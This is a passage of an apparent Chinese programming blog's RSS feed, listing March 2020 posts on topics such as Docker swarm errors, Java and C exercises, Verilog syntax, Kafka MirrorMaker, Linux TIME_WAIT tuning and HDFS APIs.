      <link>https://bchobby.github.io/posts/f909be74e5dadedb4485f5d08692397c/</link>
      <pubDate>Tue, 17 Mar 2020 18:11:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f909be74e5dadedb4485f5d08692397c/</guid>
      <description>当我敲完随机森林的代码然后运行时出现如下balabala一堆东西：&#xA;D:\anaconda\envs\anaconda3\lib\site-packages\sklearn\model_selection\_validation.py:515:&#xA;DataConversionWarning: A column-vector y was passed when a 1d array was expected. Please change the shape of y to (n_samples,), for example using ravel().&#xA;estimator.fit(X_train, y_train, **fit_params)&#xA;后来发现是做标签的时候出问题了，原本做标签的代码是这样：&#xA;def Label(a,b): label = [] for i in range(a): if i1 &amp;lt; b: label.append(1) else: label.append(0) label = np.array(label).reshape(a,1) return (label) 我给样本做标签时多敲了一段代码，将这段代码直接zhus注释掉就行了</description>
    </item>
    <item>
      <title>0028__Typora小技巧 04 - 如何在表格中换行</title>
      <link>https://bchobby.github.io/posts/32a372a5b695c2ae2164a293efbb1537/</link>
      <pubDate>Tue, 17 Mar 2020 16:29:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/32a372a5b695c2ae2164a293efbb1537/</guid>
      <description>https://www.jianshu.com/p/722bb3cab5ff</description>
    </item>
    <item>
      <title>docker swarm强制离开集群</title>
      <link>https://bchobby.github.io/posts/350d9e2cac9968e8de939c49718d3e29/</link>
      <pubDate>Tue, 17 Mar 2020 15:45:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/350d9e2cac9968e8de939c49718d3e29/</guid>
      <description>docker swarm leave --force&#xA;[root@bogon ~]# docker swarm init --advertise-addr 192.168.56.104&#xA;Error response from daemon: This node is already part of a swarm. Use “docker swarm leave” to leave this swarm and join another one.&#xA;加入集群的时候报错，可以尝试，强制离开集群。&#xA;docker swarm leave --force</description>
    </item>
    <item>
      <title>特殊功能</title>
      <link>https://bchobby.github.io/posts/fc7b0e576cfc97242a020806dedd2289/</link>
      <pubDate>Tue, 17 Mar 2020 11:55:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fc7b0e576cfc97242a020806dedd2289/</guid>
      <description>iOS开发检测是否关闭了某个APP的蜂窝移动网络&#xA;//https://www.jianshu.com/p/e48d3e438377保活&#xA;1.判断开启蜂窝&#xA;方法1：(APP启动时就开始监听) CTCellularData *cellularData = [[CTCellularData alloc] init]; // 状态发生变化时调用 cellularData.cellularDataRestrictionDidUpdateNotifier = ^(CTCellularDataRestrictedState restrictedState) { switch (restrictedState) { case kCTCellularDataRestrictedStateUnknown: NSLog(@&#34;蜂窝移动网络状态：未知&#34;); break; case kCTCellularDataRestricted: NSLog(@&#34;蜂窝移动网络状态：关闭&#34;); break; case kCTCellularDataNotRestricted: NSLog(@&#34;蜂窝移动网络状态：开启&#34;); break; default: break; } }; // 方法2：(在需要用到的地方获取) #pragma mark 获取蜂窝移动数据限制状态 /* kCTCellularDataRestrictedStateUnknown, // 未知 kCTCellularDataRestricted, // 关闭 kCTCellularDataNotRestricted // 开启 */ + (CTCellularDataRestrictedState)getCellularDataRestrictionState { CTCellularData *cellularData = [[CTCellularData alloc] init]; CTCellularDataRestrictedState restrictedState = cellularData.restrictedState; return restrictedState; } //两种方法的比较 //方法1：蜂窝移动数据状态发生变化时会触发这个方法。关闭时状态为kCTCellularDataRestricted，开始时状态为kCTCellularDataNotRestricted。这里有一点要注意：测试时发现，当改变其他应用的蜂窝移动数据状态时，也会触发这个应用的此方法。 //方法2：无论此应用的蜂窝移动数据是开启或关闭状态，此方法获取到的状态一直是 //说明：此方法只是用于获取某个应用的蜂窝移动数据的开启/关闭状态，与是否连接WiFi无关。 判断设备WiFi是否打开</description>
    </item>
    <item>
      <title>剑指offer - 66.构建乘积数组 | 67.把字符串转换成整数</title>
      <link>https://bchobby.github.io/posts/3335882429c56ae7a470251731f87e7c/</link>
      <pubDate>Mon, 16 Mar 2020 22:51:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3335882429c56ae7a470251731f87e7c/</guid>
      <description>面试题66. 构建乘积数组 题目描述：&#xA;给定一个数组A[0,1,...,n-1],请构建一个数组B[0,1,...,n-1], 其中B中的元素 B[i]=A[0]*A[1]*...*A[i-1]*A[i+1]*...*A[n-1]。不能使用除法。 （注意：规定 B[0]= A[1] * A[2] * ... * A[n-1]， B[n-1] = A[0] * A[1] * ... * A[n-2];） 解题思路：&#xA;//B[i]=A[0]*A[1]*...*A[i-1]*A[i+1]*...*A[n-1] //从左到右算 B[i]=A[0]*A[1]*...*A[i-1] //从右到左算B[i]*=A[i+1]*...*A[n-1] class Solution { public: vector&amp;lt;int&amp;gt; multiply(const vector&amp;lt;int&amp;gt;&amp;amp; A) { int n=A.size(); vector&amp;lt;int&amp;gt; b(n); int ret=1; for(int i=0;i&amp;lt;n;ret*=A[i++]){ b[i]=ret; } ret=1; for(int i=n-1;i&amp;gt;=0;ret*=A[i--]){ b[i]*=ret; } return b; } }; 面试题67. 把字符串转换成整数 题目描述： 将一个字符串转换成一个整数，要求不能使用字符串转换整数的库函数。 数值为0或者字符串不是一个合法的数值则返回0.&#xA;输入描述: 输入一个字符串,包括数字字母符号,可以为空 输出描述: 如果是合法的数值表达则返回该数字，否则返回0 示例1 输入 +2147483647 1a33 输出 2147483647 0 解题思路：</description>
    </item>
    <item>
      <title>生成整型动态数组，并按要求输出显示</title>
      <link>https://bchobby.github.io/posts/ddf8cbc0cb2d685babf7a02e441631e8/</link>
      <pubDate>Mon, 16 Mar 2020 17:07:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ddf8cbc0cb2d685babf7a02e441631e8/</guid>
      <description> **题目描述&#xA;生成一个整型元素的动态数组，依次添加10个[0-100]的整型随机数。&#xA;输出这个动态数组，和其中的最大值。&#xA;【知识点：ArrayList类的使用，随机数的使用】&#xA;输入描述&#xA;无&#xA;输出描述&#xA;分两行分别输出这个动态数组，和其中的最大值。&#xA;输入样例&#xA;无&#xA;输出样例&#xA;生成的动态数组为: [43, 39, 20, 40, 81, 89, 16, 96, 93, 81]&#xA;动态数组中最大值为: 96&#xA;**&#xA;import java.util.*; public class Main { public static void main(String []args) { ArrayList a1=new ArrayList();//创建一个ArrayList实例 for(int i=0;i&amp;lt;10;i++) { double d=Math.random()*(100-1+1)+1; a1.add((int)d); } int max=(int)a1.get(0); for(int i=0;i&amp;lt;a1.size();i++) { if(max&amp;lt;(int)a1.get(i)) { max=(int)a1.get(i); } } System.out.println(&#34;生成的动态数组为: &#34;+a1); System.out.println(&#34;动态数组中最大值为: &#34;+max); } } </description>
    </item>
    <item>
      <title>随机生成数字并排序</title>
      <link>https://bchobby.github.io/posts/5e8c6a85055ca1ca3d6d07132eb51385/</link>
      <pubDate>Mon, 16 Mar 2020 17:03:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5e8c6a85055ca1ca3d6d07132eb51385/</guid>
      <description> **题目描述&#xA;随机生成100个0-1000之间的整数，并按照从小到大的顺序排序显示，排序算法自选。&#xA;输入描述&#xA;无&#xA;输出描述&#xA;按每行10个数据输出显示&#xA;输入样例&#xA;无&#xA;输出样例&#xA;无&#xA;**&#xA;public class Main { public static void main(String []args) { int a[]=new int[100]; int temp; for(int i=0;i&amp;lt;100;i++) { final double d = Math.random()*1000; final int c = (int)(d*100); a[i]=c; } for(int i=0;i&amp;lt;100;i++) { for(int j=i;j&amp;lt;100;j++) { if(a[i]&amp;gt;a[j]) { temp=a[i]; a[i]=a[j]; a[j]=temp; } } } for(int i=0;i&amp;lt;100;i++) { System.out.printf(&#34;%d &#34;,a[i]); if((i+1)%10==0) System.out.println(); } } } </description>
    </item>
    <item>
      <title>编写一个程序，用于计算体质指数BMI，并打印结果</title>
      <link>https://bchobby.github.io/posts/37bd7cdf4726b8dc32f3cc901a870899/</link>
      <pubDate>Mon, 16 Mar 2020 17:01:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/37bd7cdf4726b8dc32f3cc901a870899/</guid>
      <description> **题目描述&#xA;编写一个程序，用于计算体质指数BMI，并打印结果。&#xA;BMI = 体重(kg)除以身高(m)的平方&#xA;BMI结果：&#xA;偏瘦：&amp;lt;18.5&#xA;正常：&amp;lt; 25&#xA;偏胖：&amp;lt; 28&#xA;肥胖：&amp;gt;=28&#xA;输入描述&#xA;输入身高 体重值&#xA;输出描述&#xA;输出体质指数BMI&#xA;输入样例&#xA;75 1.72&#xA;输出样例&#xA;您的体重偏胖！&#xA;**&#xA;import java.util.*; public class Main { public static void main(String []args) { Scanner input=new Scanner(System.in); float g=input.nextFloat(); float h=input.nextFloat(); if((g/Math.pow(h, 2))&amp;lt;18.5) System.out.println(&#34;您的体重偏瘦！&#34;); else if((g/Math.pow(h, 2))&amp;gt;=18.5&amp;amp;&amp;amp;(g/Math.pow(h, 2))&amp;lt;25) System.out.println(&#34;您的体重正常！&#34;); else if((g/Math.pow(h, 2))&amp;gt;=25&amp;amp;&amp;amp;(g/Math.pow(h, 2))&amp;lt;28) System.out.println(&#34;您的体重偏胖！&#34;); else if((g/Math.pow(h, 2))&amp;gt;=28) System.out.println(&#34;您的体重肥胖！&#34;); input.close(); } } </description>
    </item>
    <item>
      <title>小球自由落体后反弹，计算路线和反弹高度</title>
      <link>https://bchobby.github.io/posts/321641de51eae48e185fb109f7660b68/</link>
      <pubDate>Mon, 16 Mar 2020 17:00:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/321641de51eae48e185fb109f7660b68/</guid>
      <description> **题目描述&#xA;一弹跳小球从120米高度自由落下，每次落地后反跳回原高度的一半；计算n次落地经过的路线总长度和下次反弹的高度。&#xA;输入描述&#xA;输入第几次落下&#xA;输出描述&#xA;输出经过的路线总长度和下次反弹的高度。&#xA;（中文冒号，数据保留两位小数）&#xA;输入样例&#xA;5&#xA;输出样例&#xA;总运动距离为：345.00m&#xA;下次反弹高度为：3.75m&#xA;**&#xA;import java.util.*; public class Main { public static void main(String []args) { float sum=120;//总路程 float s = 120; int a=0; Scanner input=new Scanner(System.in); int n=input.nextInt(); for(int i=1;i&amp;lt;=n-1;i++) { s=(float) (s/2); sum+=s*2; } s=(float) (s/2); System.out.printf(&#34;总运动距离为：%.2fm\n&#34;,sum); System.out.printf(&#34;下次反弹高度为：%.2fm\n&#34;, s); } } </description>
    </item>
    <item>
      <title>verilog -:或&#43;:用法</title>
      <link>https://bchobby.github.io/posts/c3c12ec6aa447baa0f27666dc081bd32/</link>
      <pubDate>Mon, 16 Mar 2020 12:15:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c3c12ec6aa447baa0f27666dc081bd32/</guid>
      <description> 最近在刷一些Verilog的题，希望对后续的找工作有所帮助吧。。。&#xA;一般而言对于类似多位输出赋值，一般而言是这样的：&#xA;wire a[MSB:LSB]; assign a=b[MSB:LSB]; 这里的MSB 和LSB 都需要是常数而不能是变量，那么现实中很有可能需要对变量来进行操作，比如多路选择器等等，那么就可以用到 -：和+：操作符了，具体用法如下：&#xA;module top_module( input [1023:0] in, input [7:0] sel, output [3:0] out ); assign out=in[sel*4+3 -:4]; endmodule 来自刷题网站一道题，这里需要根据sel的值来确定选择哪个位段的数据，因为有变量sel，所以不能采用传统的如[sel*4+3:sel*4]这类用法。这里-：4代表数据是4位且是按照[MSB:LSB]格式来的，简单点理解如下：&#xA;a=[15-:8]==[15:8] a=[0+:8]==[7:0] </description>
    </item>
    <item>
      <title>META-INF\context.xml (系统找不到指定的文件。)</title>
      <link>https://bchobby.github.io/posts/4afb8c9f9f2f13931f8519a4727bd214/</link>
      <pubDate>Mon, 16 Mar 2020 11:38:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4afb8c9f9f2f13931f8519a4727bd214/</guid>
      <description>在运行时突然报了这个错&#xA;com.intellij.execution.ExecutionException: Cannot load D:\project\refuse_classification_server\target\wx_refuse_classification_server\META-INF\context.xml: D:\project\refuse_classification_server\target\wx_refuse_classification_server\META-INF\context.xml (系统找不到指定的文件。) 试过了网上的一些其他方法，比如clean完再install,重新rebuild都还是不行；&#xA;解决方法&#xA;在idea里面把原来的tomcat删除，再添加一个新的</description>
    </item>
    <item>
      <title>28 kafka Mirror Maker</title>
      <link>https://bchobby.github.io/posts/a452a9f562430e7f5d5beb314a973e89/</link>
      <pubDate>Sun, 15 Mar 2020 20:57:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a452a9f562430e7f5d5beb314a973e89/</guid>
      <description>Kafka Mirror Maker 是用于在两个集群之间同步数据的工具，原理是从源集群消费消息，然后将消息生产到目标集群中，就是普通是生产者和消费者。只需要在启动 Kafka Mirror Make 时指定一些简单的消费端和生产端配置就可以实现准实时的数据同步。&#xA;如图，我们需要将 Cluster1 的数据同步到 Cluster2 中。就需要通过 Kafka Mirror Maker做一个中转站。&#xA;上一节中的 Kafka Connect 和 Kafka Mirror Maker的区别在于：Kafka Connect 用于其他数据存储系统与 Kafka 之间的数据复制，而不是 Kafka 与 Kafka 之间的数据复制。&#xA;Kafka Mirror Maker 可以在两个不同的数据中心（两个集群位于不同的数据中心）中同步（镜像）数据。我们可以在两个不同的数据中心中部署一个集群，各个数据中心持有集群中的部分 broker 节点，通过将副本分散到不同的数据中心来实现不同数据中心的数据同步。但这样有一个严重的问题，即高延迟，这个问题会严重影响 Kafka 和 ZooKeeper 的性能，还有可能引发严重的异常。&#xA;Kafka Mirror Maker的使用具体对应 Kafka 中的 kafka-mirror-maker.sh 脚本。参考上图，我们演示从 Cluster 1 中将主题 topic-mrror 的数据同步打 Cluster 2 中，首先创建两个配置文件，consumer.properties 和 producer.properties 这两个配置文件中的配置对应消费者客户端和生产者客户端的配置，参考如下：&#xA;# consumer.properties的配置 bootstrap.servers=cluster1:9092 group.id=groupIdMirror client.id=sourceMirror partition.assignment.strategy=org.apache.kafka.clients.consumer.RoundRobinAssignor # producer.properties的配置 bootstrap.servers=cluster2:9092 client.id=sinkMirror 启动 Kafka Mirror Maker ：</description>
    </item>
    <item>
      <title>排序算法-冒泡排序（改进）</title>
      <link>https://bchobby.github.io/posts/6e71f034d4bd8313d3d22073a9d2f001/</link>
      <pubDate>Sun, 15 Mar 2020 13:54:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6e71f034d4bd8313d3d22073a9d2f001/</guid>
      <description>冒泡排序（改进） 冒泡排序的排序思路是： 通过无序区的相邻元素的比较和位置的交换，使最大的元素往上移动每一轮排序选出无序区的最大的元素，加入有序区中不止可以得到升序排序，稍微改变下交换逻辑也可以得到降序排序 冒泡排序算法参考我的另一篇博客：链接&#xA;冒泡排序存在的问题： 假如我们运气好，用了1轮就已经将整个序列排序好了，整个数列已然是有序的了。可是我们的排序算法仍然“兢兢业业”地继续执行第2轮、第3轮、直至n-1轮，这就很没必要。也就是说如果序列已经有序，每一轮排序还是会继续比较相邻的元素，这就相当于做了一些没用的操作。&#xA;冒泡排序改进思路： 这种情况下，如果我们能判断出数列已经有序，并且做出标记，剩下的几轮排序就可以不必执行，提早结束工作。因此我们可以用一个标志变量来标准序列是否有序，当一次冒泡过程中发现没有交换操作时，表明序列已经排好序了，便终止冒泡操作。用一个标志变量 标记在比较过程中是否发生了数据交换。&#xA;改进后的冒泡排序的代码实现： #include &amp;lt;stdio.h&amp;gt; /* 冒泡排序的排序思路是： 通过无序区的相邻元素的比较和位置的交换，使最大的元素往上移动 每一轮排序选出无序区的最大的元素，加入有序区中 */ void bubble_sort(int value[],int n) { //n-1轮排序 （排序n-1轮剩下的那个数自然是最小的） for(int i=0; i&amp;lt;n-1; i++) { //使用标志变量判断序列是否有序 bool isSorted = true; //每一轮排序选出无序区的最大的元素，加入有序区中 //循环终止条件是 j&amp;lt;n-i-1 //n代表数组总共有n个数，i表示已经有i个排序好了 //因为每次是和后面的元素比较，所以要 -1 （防止数组越界） for(int j=0; j&amp;lt;n-i-1; j++) { //每一次和后一个元素，进行比较，较大的后移 if( value[j] &amp;gt; value[j+1]) { //交换两个元素的值 int temp = value[j]; value[j] = value[j+1]; value[j+1] = temp; //若是发送交换元素，说明序列还是无序 isSorted = false; } } //如果序列已经有序结束循环 if(isSorted){ break; } } } int main() { int value[] = {8,3,6,2,4,5,7,1,9,0}; printf(&#34;</description>
    </item>
    <item>
      <title>java解析zip文件（无需解压即可解析）</title>
      <link>https://bchobby.github.io/posts/4ad30bd17f7356053cfc766d60870540/</link>
      <pubDate>Sun, 15 Mar 2020 13:21:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4ad30bd17f7356053cfc766d60870540/</guid>
      <description>个人原创博客：德鲁大叔撸代码&#xA;对zip文件直接进行解析（一条记录对应一行数据）&#xA;public void readZipCvsFile(File file) throws Exception { //获得输入流，文件为zip格式， //zip可以包含对个文件，如果只有一个文件，则只解析一个文件的，包含多个文件则分别解析 ZipInputStream in = new ZipInputStream(new FileInputStream(file)); //不解压直接读取,加上gbk解决乱码问题 BufferedReader br = new BufferedReader(new InputStreamReader(in,&#34;utf-8&#34;)); ZipEntry zipFile; //循环读取zip中的cvs/txt文件，zip文件名不能包含中文 while ((zipFile=in.getNextEntry())!=null) { //如果是目录，不处理 if (zipFile.isDirectory()){ System.err.println(&#34;当前路径为目录：&#34;+zipFile.getName()); } //获得cvs名字 String fileName = zipFile.getName(); //检测文件是否存在 if (fileName != null &amp;amp;&amp;amp; fileName.indexOf(&#34;.&#34;) != -1) { System.out.println(&#34;---------------------开始解析文件：&#34;+fileName+&#34;-----------------------------&#34;); String line; while ((line = br.readLine()) != null) { System.out.println(line); } } } //关闭流 br.close(); in.close(); } 测试方法</description>
    </item>
    <item>
      <title>Jsp基础复习（一）</title>
      <link>https://bchobby.github.io/posts/fdaba9d890df427e30235f308d23e1ea/</link>
      <pubDate>Fri, 13 Mar 2020 21:52:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fdaba9d890df427e30235f308d23e1ea/</guid>
      <description>知识储备 JSP全称是Java Server Pages，它和servle技术一样，都是SUN公司定义的一种用于开发动态web资源的技术。JSP实际上就是Servlet。 JSP原理 浏览器将JSP文件发给服务器，服务器将jsp文件翻译成JAVA文件，然后在编译成字节码文件（.class）最后再返回给服务器&#xA;然后可以再服务器下的work文件夹下\work\Catalina\localhost找到这个路径，并且打开你项目会有下面的文件&#xA;login.jsp.java&#xA;login.jsp&#xA;JSP语法 JSP模版元素&#xA;网页的静态内容。如：html标签和文本。JSP的脚本&#xA;2.1、小脚本 &amp;lt;% java代码 %&amp;gt;&#xA;2.1、表达式 &amp;lt;%= 2+3 %&amp;gt; 等价于out.print(2+3);&#xA;login.jsp:&#xA;login.jsp.java:&#xA;页面效果：&#xA;2.3、声明 &amp;lt;%! %&amp;gt; 表示在类中定义全局成员，和静态块。JSP注释&#xA;JSP注释：&amp;lt;%-- 被注释的内容 --%&amp;gt; 特点：安全，省流量&#xA;网页注释： 特点：不安全，费流量指令&#xA;语法：&#xA;&amp;lt;%@ 指令名称 属性1=“属性值1” 属性2=“属性值2”。。。%&amp;gt;&#xA;或者：&#xA;&amp;lt;%@ 指令名称 属性1=“属性值1”%&amp;gt;&#xA;&amp;lt;%@ 指令名称 属性2=“属性值2”%&amp;gt; Page指令 page指令用于定义JSP页面的各种属性，无论page指令出现在JSP页面中的什么地方，它作用的都是整个JSP页面，为了保持程序的可读性和遵循良好的编程习惯，page指令最好是放在整个JSP页面的起始位置。属性：&#xA;2.1 import 和java代码中的import是一样的&#xA;&amp;lt;%@ page import=“java.util.Date,java.util.List”%&amp;gt;&#xA;或者：&#xA;&amp;lt;%@ page import=“java.util.Date”%&amp;gt;&#xA;&amp;lt;%@ page import=“java.util.List”%&amp;gt;&#xA;JSP会自动导入以下的包：&#xA;import java.lang.;&#xA;import javax.servlet.;&#xA;import javax.servlet.http.;&#xA;import javax.</description>
    </item>
    <item>
      <title>降低linux的time_wati</title>
      <link>https://bchobby.github.io/posts/f32ead015a1da9ad20a17c885c1c1246/</link>
      <pubDate>Fri, 13 Mar 2020 20:27:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f32ead015a1da9ad20a17c885c1c1246/</guid>
      <description>百度了半天，给出的方案是&#xA;net.ipv4.tcp_fin_timeout = 20 net.ipv4.tcp_tw_reuse = 1 net.ipv4.tcp_syncookies = 1 net.ipv4.tcp_max_tw_buckets = 1000 都不好使，最后同事给一个参数&#xA;net.ipv4.tcp_max_tw_buckets = 1000&#xA;time_wait立刻降到1000以下，这个参数限制time_wait的最大数量，记录一下</description>
    </item>
    <item>
      <title>Json时间Utils封装</title>
      <link>https://bchobby.github.io/posts/41de39041a363aad066dcc17e5cc4680/</link>
      <pubDate>Fri, 13 Mar 2020 15:52:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/41de39041a363aad066dcc17e5cc4680/</guid>
      <description> public class JsonUtils { public static String getJson(Object object){ return getJson(object,&#34;yyyy-MM-dd HH:mm:ss&#34;); } public static String getJson(Object object,String dateFormat){ ObjectMapper mapper = new ObjectMapper(); mapper.configure(SerializationFeature.WRITE_DATES_AS_TIMESTAMPS,false); SimpleDateFormat simpleDateFormat = new SimpleDateFormat(dateFormat); mapper.setDateFormat(simpleDateFormat); try { return mapper.writeValueAsString(object); } catch (JsonProcessingException e) { e.printStackTrace(); } return null; } } </description>
    </item>
    <item>
      <title>用notepad&#43;&#43;编译运行C语言文件的两种方式</title>
      <link>https://bchobby.github.io/posts/e2f09d839fa3ed4dab798ce21a47c9cd/</link>
      <pubDate>Fri, 13 Mar 2020 13:42:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e2f09d839fa3ed4dab798ce21a47c9cd/</guid>
      <description>首先要有C语言环境 就是安装gcc并添加到系统变量里。windows里并没有自带C语言环境，所以要自己安装。&#xA;编译好的同名.exe文件会在源目录下。&#xA;1，直接在运行里打入代码 打开notepad++，直接在运行程序名里加入以下一行代码&#xA;cmd /k gcc -o &#34;$(CURRENT_DIRECTORY)\$(NAME_PART).exe&#34; &#34;$(FULL_CURRENT_PATH)&#34; &amp;amp;&amp;amp; CLS &amp;amp;&amp;amp; &#34;$(CURRENT_DIRECTORY)\$(NAME_PART).exe&#34; &amp;amp; PAUSE &amp;amp; EXIT 然后保存，设置快捷键。运行。&#xA;2，利用插件NppExec 安装NppExec，在 notepad+±&amp;gt;插件-&amp;gt;管理插件 里&#xA;点击Execute像里填入&#xA;npp_save cd &#34;$(CURRENT_DIRECTORY)&#34; cmd /c del &#34;$(NAME_PART)&#34;.o &#34;$(NAME_PART)&#34;.exe *.o gcc -o $(NAME_PART) $(FILE_NAME) npp_run &#34;$(NAME_PART)&#34;.exe save保存，后运行&#xA;结语 notepad++可以用来做轻量级语言开发是非常方便的，在有相应语言环境下还可以运行很多其他语言。</description>
    </item>
    <item>
      <title>UUID 通用唯一识别码（Universally Unique Identifier）介绍</title>
      <link>https://bchobby.github.io/posts/a502a213c404527753ea3f77201ad9c6/</link>
      <pubDate>Fri, 13 Mar 2020 13:32:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a502a213c404527753ea3f77201ad9c6/</guid>
      <description>UUID 简介 UUID 是 通用唯一识别码（Universally Unique Identifier）的缩写，是一种软件建构的标准，亦为开放软件基金会组织在分布式计算环境领域的一部分。其目的，是让分布式系统中的所有元素，都能有唯一的辨识信息，而不需要通过中央控制端来做辨识信息的指定。如此一来，每个人都可以创建不与其它人冲突的UUID。在这样的情况下，就不需考虑数据库创建时的名称重复问题。&#xA;UUID是基于当前时间、计数器（counter）和硬件标识（通常为无线网卡的MAC地址）等数据计算生成的。UUID可以被任何人独立创建，并按需发布。UUID没有集中管理机构，因为它们是不会被复制的独特标识符。属性协议允许设备使用UUID识别属性类型，从而不需要用读/写请求来识别它们的本地句柄。&#xA;作用 UUID 的目的是让分布式系统中的所有元素，都能有唯一的辨识资讯，而不需要透过中央控制端来做辨识资讯的指定。如此一来，每个人都可以建立不与其它人冲突的 UUID。在这样的情况下，就不需考虑数据库建立时的名称重复问题。&#xA;组成 当前日期和时间，UUID的第一个部分与时间有关，如果你在生成一个UUID之后，过几秒又生成一个UUID，则第一个部分不同，其余相同。时钟序列。全局唯一的IEEE机器识别号，如果有网卡，从网卡MAC地址获得，没有网卡以其他方式获得。 UUID的唯一缺陷在于生成的结果串会比较长。关于UUID这个标准使用最普遍的是微软的GUID(Globals Unique Identifiers)。在ColdFusion中可以用CreateUUID()函数很简单地生成UUID，其格式为：xxxxxxxx-xxxx- xxxx-xxxxxxxxxxxxxxxx(8-4-4-16)，其中每个 x 是 0-9 或 a-f 范围内的一个十六进制的数字。&#xA;标准的UUID格式为：xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx (8-4-4-4-12)，可以从cflib 下载CreateGUID() UDF进行转换。&#xA;在 hibernate（Java orm框架）中， 采用 IP-JVM启动时间-当前时间右移32位-当前时间-内部计数（8-8-4-8-4）来组成UUID。</description>
    </item>
    <item>
      <title>HDFS文件系统基本操作-Hadoop实践</title>
      <link>https://bchobby.github.io/posts/5c97478f1711693d1aae9a2997b7cfde/</link>
      <pubDate>Fri, 13 Mar 2020 11:46:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5c97478f1711693d1aae9a2997b7cfde/</guid>
      <description>操作流程 1.启动Hadoop 2.导入相关的jar包 右键项目属性，选择Property，在弹出的对话框左侧列表中选择Java Build Path，如下图所示：选择Add External JARs，就可以逐个（也可以选择多个，但是限制在同一个文件夹中）添加第三方引用jar包。&#xA;3.调用Java Api进行编程 3.1检查文件是否存在&#xA;import org.apache.hadoop.conf.Configuration; import org.apache.hadoop.fs.FileSystem; import org.apache.hadoop.fs.Path; public class HDFSFileIfExist { public static void main(String[] args){ try{ String fileName = &#34;test&#34;; Configuration conf = new Configuration();//创建环境 conf.set(&#34;fs.defaultFS&#34;, &#34;hdfs://localhost:9000&#34;);//加载环境 conf.set(&#34;fs.hdfs.impl&#34;, &#34;org.apache.hadoop.hdfs.DistributedFileSystem&#34;); FileSystem fs = FileSystem.get(conf);//封装DistributedFileSystem对象 if(fs.exists(new Path(fileName))){ //相对路径 System.out.println(&#34;文件存在&#34;); }else{ System.out.println(&#34;文件不存在&#34;); } }catch (Exception e){ e.printStackTrace(); } } } 2.写操作&#xA;import org.apache.hadoop.conf.Configuration; import org.apache.hadoop.fs.FileSystem; import org.apache.hadoop.fs.FSDataOutputStream; import org.apache.hadoop.fs.Path; public class Chapter3 { public static void main(String[] args) { try { Configuration conf = new Configuration(); conf.</description>
    </item>
    <item>
      <title>ARTIX-7 GTP 3G-SDI 使用实例</title>
      <link>https://bchobby.github.io/posts/5d6e6bda4fd1ffd7d9a6fe225a80930e/</link>
      <pubDate>Thu, 12 Mar 2020 20:32:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5d6e6bda4fd1ffd7d9a6fe225a80930e/</guid>
      <description>XILINX ARTIX-7 FPGA 可以使用GTP 传送最高3G-SDI的信号。本文记录 GTP调用方法，与SDI IP的互联方法等，最后实现1080p60彩条内部产生后经SDI回环后接收，仅适用于ARTIX-7或更高系列。组建工程部分参考赛灵思 xapp1097 实例。&#xA;操作概览：&#xA;调用GTP IP取出xxx_gt.v和xxx_common.v备用 → 调用3G-SDI IP → 下载 xapp1097.zip → 包装3G-SDI IP → 实现1080p60彩条内部产生后经SDI回环然后接收，使用VIO调试观察接收端锁定情况。&#xA;IP说明：&#xA;需要调用两个IP：SMPTE SD/HD/3G-SDI 和 7 Series FPGAs Transceivers Wizard(使用GTP)&#xA;需要下载一个文件：xapp1097&#xA;SDI IP 将使用到顶层和以下所有代码(SDI IP须命名为smpte_sdi),使用xapp1097内模块后 SDI IP被包装成名为a7gtp_sdi_rxtx_wrapper.v 的模块。&#xA;GTP IP 使用 xxx_gt.v作为顶层，其内部包含的.v文件也可以从GTP IP示例工程中获得。xxx_common.v可以从GTP IP 示例工程中获得。&#xA;1. 新建一个vivado工程，我使用2017.4版本。添加GT IP核 7 Series FPGAs Transceivers Wizard&#xA;2. IP核命名为 a7gtp_sdi_wrapper，按照下图设置&#xA;3. 翻到第二页,协议必须选择hd sdi，根据xapp1097即使用3g-sdi也必须选择hd sdi。一个GTP收发器使用两个PLL，确保两个PLL都使能,因为最后的应用需要TX端动态切换两个PLL，由于板子上只有148.5Mhz video OSC只能连接到一个时钟源，因此，不支持发送1.485/1.001 Gb/s HD-SDI和2.97/1.001 Gb/s 3G-SDI。但是，接收端因为有CDR unit，只有148.5Mhz晶振也可以接收5种SDI信号。(按照下图连接时钟源后TX端切换PLL并不能改变频率)</description>
    </item>
    <item>
      <title>SpringBoot&amp;&amp;Spring --- Redis 集成 Error creating bean with name &#39;enableRedisKeyspaceNotificationsIniti</title>
      <link>https://bchobby.github.io/posts/fe2b104b7d6af4a43187efce40ac2935/</link>
      <pubDate>Thu, 12 Mar 2020 20:00:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fe2b104b7d6af4a43187efce40ac2935/</guid>
      <description> Spring Boot Redis 集成 Error creating bean with name &#39;enableRedisKeyspaceNotificationsInitializer&#39;&#xA;一、原因：redis集群环境没有开启Keyspace notifications&#xA;二、解决办法　@Configuration public class HttpSessionConfig { /** * 解决redis集群环境没有开启Keyspace notifications导致的 * * Error creating bean with name &#39;enableRedisKeyspaceNotificationsInitializer&#39; defined in class path resource * * */ @Bean public static ConfigureRedisAction configureRedisAction() { return ConfigureRedisAction.NO_OP; } } </description>
    </item>
    <item>
      <title>paddle中使用pandas.to_excel报错</title>
      <link>https://bchobby.github.io/posts/0c046deac09446db4ad7f3960c3271fc/</link>
      <pubDate>Thu, 12 Mar 2020 13:08:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0c046deac09446db4ad7f3960c3271fc/</guid>
